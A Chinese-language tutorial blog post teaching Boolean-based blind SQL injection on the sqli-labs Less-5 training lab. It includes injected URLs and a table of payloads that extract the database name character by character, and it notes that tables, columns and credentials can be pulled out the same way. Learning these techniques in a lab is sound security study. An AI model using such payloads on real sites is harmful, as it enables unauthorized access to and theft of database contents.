SQL注入之盲注(Boolean类型)

sql盲注适用于页面不直接返回数据,而是返回是或否,或者更简单的,正常显示或非正常显示,这时就需要来使用sql语句形成判断性返回值,例如正常返回或报错。
以sqli-labs Less5举例
访问http://localhost/sqli-labs/Less-5/?id=1后页面只显示了You are in……而没有像之前那样显示用户名等信息,尝试在URL后加单引号显示错误,有字符串注入的空间,将URL拼接成http://localhost/sqli-labs/Less-5/?id=1%27%20–+显示正常,可以开始工作了!SQL注入之盲注(Boolean类型)_第1张图片
但是,发现无论在URL后面跟着怎么样的union select都不会显示任何有用信息,这种情况就很适合使用SQL盲注进行操作。首先,熟悉几个sql语句中的方法(或称函数)

  • version() 返回当前数据库版本
  • database() 返回当前数据库名称
  • substr(str, start, length) 返回str字符串从第start个字符开始的length个字符(从1开始)
  • ascii(a) 返回a的ASCII码
  • length(str) 返回str字符串的长度

首先,先以判断当前数据库版本为例说明盲注是如何实现的,在URL上拼接上SQL语句and ((select) version())>5) --+,页面正常显示,说明该数据库版本在5以上,再尝试把5改成5.5,依然正常显示,当把5.5改成5.6时,页面不再显示You are in等字样,这就说明该数据库版本在5.5以上但在5.6以下,这样就获取到了数据库的一定信息,同理,也可以通过这种方式获取其他信息。
我现在理解的最基础版本的盲注就是通过猜测(二分查找)来一点一点找到数据库的各种信息,还有涉及到时间注入等方法留在以后再说。
以获取该网站的数据库名为例,简单介绍。
普通的union select获取数据库很容易,直接使用database()就可以显示出来数据库名,但是因为此网站不支持回显信息,所以只能通过length来判断长度,并通过分割字符串的方法来一点一点的“猜”数据库的名字,首先将URL改为http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20((select%20length(database()))%3E5)%20–+对应的SQL语句就是 ((select length(database()))>5),判断数据库名的长度是否大于5,回显正常,说明是true,再尝试一下其他的数字。

SQL语句 显示状态 说明状态
((select length(database()))>5) 正常 true
((select length(database()))>10) 无显示 false
((select length(database()))>7) 正常 true
((select length(database()))>8) 无显示 false

由此可见,该数据名的长度大于7而不大于8,说明长度就是8.
再来判断数据库名,首先使用substr(database(),1,1)函数来截取数据库名中的第一个字母,再用ascii(substr(database(),1,1))获取其ASCII码,因为数据库名的字母一定是可显示字符,故ASCII码值应该在32-126之间,依次尝试。

SQL语句 显示状态 说明状态
((select ascii(substr(database(),1,1)))>75) 正常 true
((select ascii(substr(database(),1,1)))>100) 正常 true
((select ascii(substr(database(),1,1)))>113) 正常 true
((select ascii(substr(database(),1,1)))>119) 无显示 false
((select ascii(substr(database(),1,1)))>116) 无显示 false
((select ascii(substr(database(),1,1)))>114) 正常 true
((select ascii(substr(database(),1,1)))>115) 无显示 false

说明第一个字母的ASCII码值大于114但不大于115,所以数据库名的第一个字母的ASCII码可以确定为115,对照ASCII码表发现是字母"s".
至此,确定了数据库名的第一个字母,按照这个规律,将substr函数中的第二个参数改为2,3,4,5,6,7,8可以依次确定每一个字母,过程省略(实在麻烦),最后依次确定了security这个名称,查出之后还是可以通过URL进行验证,使用database()函数和这个字符串进行对比,如果回显正常说明获取名称正确!URL为http://127.0.0.1/sqli-labs/Less-5/?id=1%27%20and%20((select%20database())=%27security%27)%20–+
发现页面显示正常,说明数据库名无误。
还可以根据上述规律获取表名、字段名、甚至数据库的用户名及密码等关键信息。

你可能感兴趣的:(Web安全学习)